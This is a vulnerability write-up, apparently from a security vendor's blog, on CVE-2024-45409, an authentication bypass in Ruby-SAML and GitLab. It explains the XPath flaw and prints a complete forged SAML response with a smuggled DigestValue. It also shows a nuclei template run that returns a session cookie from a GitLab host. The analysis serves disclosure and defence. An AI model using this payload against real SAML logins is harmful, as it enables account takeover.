-

8 min read

Ruby-SAML / GitLab Authentication Bypass (CVE-2024-45409)

Ruby-SAML / GitLab Authentication Bypass (CVE-2024-45409)


Introduction

In this blog post, we will analyze CVE-2024-45409, a critical vulnerability impacting Ruby-SAML, OmniAuth-SAML libraries, which effectively affects GitLab. This vulnerability allows an attacker to bypass SAML authentication mechanisms and gain unauthorized access by exploiting a flaw in how SAML responses are handled. The issue arises due to weaknesses in the verification of the digital signature used to protect SAML assertions, allowing attackers to manipulate the SAML response and bypass critical security checks.

SAML Message Verification

SAML is a widely used protocol for exchanging authentication and authorization data between identity providers (IdPs) and service providers (SPs). A crucial part of ensuring the security of this exchange is verifying the integrity and authenticity of the data through digital signatures and digest verification.

In this section, we will first explain how SAML signature and digest verification work, and then explore a bypass found in Ruby-SAML that can be exploited to circumvent the signature validation.

How SAML Signatures Work?

In a typical SAML response, an Assertion element holds critical security information, such as the authenticated user’s details. To ensure that this information has not been tampered with, it is digitally signed.

1. Assertion Element and Digest Calculation

The Assertion element contains security credentials, and the integrity of this element is protected by calculating a digest (a hash) of the canonicalized content of the assertion. The Signature node is removed from the Assertion before this digest is computed. This digest is then included in the SignedInfo block of the signature element.

2. Signature Element and SignedInfo Block

The Signature element includes a SignedInfo block, which contains:

  • A Reference URI pointing to the Assertion.
  • A DigestValue, representing the digest of the assertion block, which is calculated and then stored in this block.

Once the digest is included in the SignedInfo block, the entire SignedInfo is signed using the IdP’s private key, and the result is placed in the SignatureValue element.

Here’s a simplified XML example of the structure:

XML

1<Assertion ID="_abc123">
2  <Signature>
3    <SignedInfo>
4      <Reference URI="#_abc123">
5        <DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" />
6        <DigestValue>abc123DigestValue</DigestValue>
7      </Reference>
8    </SignedInfo>
9    <SignatureValue>SignedWithPrivateKey</SignatureValue>
10  </Signature>
11    <!-- Assertion contents -->
12</Assertion>

How digest and signature ensure integrity?

Any modification to the Assertion will alter its digest value. However, since the SignedInfo element contains the original digest value and is signed with the IdP’s private key, an attacker cannot alter the SignedInfo block without invalidating the signature. This mechanism ensures that unauthorized changes to the assertion are detected when the service provider (SP) verifies the response.

Signature Verification Process

When the service provider (SP) receives a SAML response, it performs two crucial checks:

1. Digest Verification: The SP calculates the digest of the Assertion (after removing the Signature node) and compares it with the DigestValue present in the SignedInfo block. If the digests do not match, the assertion has been tampered with.

2. Signature Verification: The SP uses the IdP’s public key to verify the signature on the SignedInfo block. If the signature is valid, it confirms that the IdP signed the message and that it hasn’t been modified.

Ruby-SAML Bypass

In the Ruby-SAML library, several validations occur before the actual signature validation, including schema validations and checks on the number of assertions. However, a specific vulnerability arises due to how XPath is used to extract certain elements during validation.

XPATH Refresher:

/ - This selects nodes starting from the root of the document. For example, /samlp:Response retrieves the <samlp:Response> root node. Similarly,  /samlp:Response/saml:Issuer will access <saml:Issuer> starting from root node <samlp:Response>.

./ - This selects nodes relative to the current node. For instance, if the current context is the <Signature> element, then ./SignedInfo will return the <SignedInfo> node that is a direct child of <Signature>.

// - This selects nodes from anywhere in the document, including all nested nodes. For example, //SignedInfo will select all instances of <SignedInfo>, regardless of how deeply they are nested within the document.

A patch was committed in the Ruby-SAML library (see here) that attempts to tighten security. Previously, the way elements were accessed using // in the XPath selector was too permissive.

Here’s where the issue lies: when extracting the DigestValue from the reference node, the XPath expression //ds:DigestValue is used. This means the first occurrence of a DigestValue element with the DSIG namespace will be selected from anywhere in the document.

Ruby

1encoded_digest_value = REXML::XPath.first(
2  ref,
3  "//ds:DigestValue",
4  { "ds" => DSIG }
5)

By exploiting this, an attacker can smuggle another DigestValue into the document inside the samlp:extensions element, which is designed to hold any element with a valid namespace.

Bypassing Signature Validation

The vulnerability allows us to bypass signature validation as follows:

  • We insert a DigestValue of the modified assertion inside the samlp:extensions element.
  • The XPath selector will extract this smuggled DigestValue instead of the one from the SignedInfo block.
  • Since the SignedInfo block itself is not modified, it passes the signature check, but the actual assertion content could have been tampered with.

The following example illustrates how this can be exploited in code:

Ruby

1hash = digest_algorithm.digest(canon_hashed_element)
2encoded_digest_value = REXML::XPath.first(
3  ref,
4  "//ds:DigestValue",
5  { "ds" => DSIG }
6)
7digest_value = Base64.decode64(OneLogin::RubySaml::Utils.element_text(encoded_digest_value))
8
9unless digests_match?(hash, digest_value)
10  return append_error("Digest mismatch", soft)
11end
12
13unless cert.public_key.verify(signature_algorithm.new, signature, canon_string)
14  return append_error("Key validation error", soft)
15end

In this case:

  • canon_hashed_element refers to the Assertion block without the Signature block.
  • encoded_digest_value is our controlled DigestValue smuggled inside samlp:extensions.
  • canon_string refers to the SignedInfo block.

Here's an example SAML Response to perform the SAML Bypass:

xml

1<?xml version="1.0" encoding="UTF-8"?>
2<samlp:Response Destination="http://kubernetes.docker.internal:3000/saml/acs"
3    ID="_afe0ff5379c42c67e0fb" InResponseTo="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
4    IssueInstant="2024-10-03T13:50:44.973Z" Version="2.0"
5    xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:xs="http://www.w3.org/2001/XMLSchema">
6    <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
7        xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://saml.example.com/entityid</saml:Issuer>
8    <samlp:Extensions>
9        <DigestValue xmlns="http://www.w3.org/2000/09/xmldsig#">
10            legitdigestvalue
11        </DigestValue>
12    </samlp:Extensions>
13    <samlp:Status xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
14        <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
15    </samlp:Status>
16    <saml:Assertion ID="_911d8da24301c447b649" IssueInstant="2024-10-03T13:50:44.973Z" Version="2.0"
17        xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
18        xmlns:xs="http://www.w3.org/2001/XMLSchema">
19        <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
20            xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://saml.example.com/entityid</saml:Issuer>
21        <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
22            <SignedInfo>
23                <CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
24                <SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" />
25                <Reference URI="#_911d8da24301c447b649">
26                    <Transforms>
27                        <Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" />
28                        <Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
29                    </Transforms>
30                    <DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" />
31                    <DigestValue>U31P2Bs1niIjPrSSA5hpC0GN4EZvsWMiOrHh6TqQFqM=</DigestValue>
32                </Reference>
33            </SignedInfo>
34            <SignatureValue>
35                KUM0YSAtobgqTq1d2dkd6Lugrh5vOhAawv4M8QPkxsiHaOuGxLCyqlJy74opHHc2K5S5hz8Us12kVplsHrFBJUezAbD+ME9Qx6bHc3G8RUfjnkJgEqb8m9yQAWpDNIBOff4nUbJp9wnMmLmTyOj7at+rkFpyrydHVBTNemkRNShuH/+3aYBWSmUJkOV2dVhUjHF9nTJv/6KAA39S8Z86uNulwxN+0Cc55bGH2P+qau3YYafpEJVEG17cVLL0mkpVUTRxtBn/8vJHCPbwT7/hx2RXdxdM+V6T59kPuRRW5iyGzk2bx6qKvUCqLwWTp5xA/uw0WxlDvCiQGpzJBVz5gA==</SignatureValue>
36            <KeyInfo>
37                <X509Data>
38                    <X509Certificate>MIIC4jCC....HpLKQQ==</X509Certificate>
39                </X509Data>
40            </KeyInfo>
41        </Signature>
42        <saml:Subject xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
43            <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
44                jackson-pwnnnnnn@example.com</saml:NameID>
45            <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
46                <saml:SubjectConfirmationData InResponseTo="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
47                    NotOnOrAfter="2024-10-03T13:55:44.973Z"
48                    Recipient="http://kubernetes.docker.internal:3000/saml/acs" />
49            </saml:SubjectConfirmation>
50        </saml:Subject>
51        <saml:Conditions NotBefore="2024-10-03T13:45:44.973Z"
52            NotOnOrAfter="2024-10-03T13:55:44.973Z"
53            xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
54            <saml:AudienceRestriction>
55                <saml:Audience>https://saml.example.com/entityid</saml:Audience>
56            </saml:AudienceRestriction>
57        </saml:Conditions>
58        <saml:AuthnStatement AuthnInstant="2024-10-03T13:50:44.973Z"
59            SessionIndex="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
60            xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
61            <saml:AuthnContext>
62                <saml:AuthnContextClassRef>
63                    urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef>
64            </saml:AuthnContext>
65        </saml:AuthnStatement>
66        <saml:AttributeStatement xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
67            <saml:Attribute Name="id"
68                NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
69                <saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
70                    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
71                    1dda9fb491dc01bd24d2423ba2f22ae561f56ddf2376b29a11c80281d21201f9</saml:AttributeValue>
72            </saml:Attribute>
73            <saml:Attribute Name="email"
74                NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
75                <saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
76                    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
77                    jackson@example.com</saml:AttributeValue>
78            </saml:Attribute>
79        </saml:AttributeStatement>
80    </saml:Assertion>
81
82</samlp:Response>

We've created nuclei template to ease the process of getting session cookie once you obtain the SAMLResponse of targeted user.

bash

1$ nuclei -t CVE-2024-45409.yaml -u https://gitlab.redacted.com -code  -var SAMLResponse='REDACTED'
2
3                     __     _
4   ____  __  _______/ /__  (_)
5  / __ \/ / / / ___/ / _ \/ /
6 / / / / /_/ / /__/ /  __/ /
7/_/ /_/\__,_/\___/_/\___/_/   v3.3.4
8
9		projectdiscovery.io
10
11[INF] Current nuclei version: v3.3.4 (latest)
12[INF] Current nuclei-templates version: v10.0.1 (latest)
13[WRN] Scan results upload to cloud is disabled.
14[INF] New templates added in latest release: 86
15[INF] Templates loaded for current scan: 1
16[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
17[INF] Targets loaded for current scan: 1
18[CVE-2024-45409] [http] [critical] https://gitlab.redacted.com/users/auth/saml/callback ["c4a8f2720a97068ee44440beee8f296c"]

We've also recorded video poc showcasing SAML authentication bypass on GitLab

Conclusion

The CVE-2024-45409 vulnerability demonstrates how a subtle flaw in signature verification can have severe consequences, allowing attackers to bypass critical authentication mechanisms. This analysis highlights the importance of strict validation procedures, especially when dealing with security protocols like SAML. While the vulnerability has been patched, it serves as a reminder that even widely adopted libraries can harbor vulnerabilities if not carefully implemented.

Organizations/Applications relying on Ruby-SAML/OmniAuth-SAML for authentication should ensure their libraries are up to date. By understanding the nature of such vulnerabilities, developers and security teams can strengthen their defenses against potential attacks.


By embracing Nuclei and participating in the open-source community or joining the ProjectDiscovery Cloud Platform, organizations can strengthen their security defenses, stay ahead of emerging threats, and create a safer digital environment. Security is a collective effort, and together we can continuously evolve and tackle the challenges posed by cyber threats.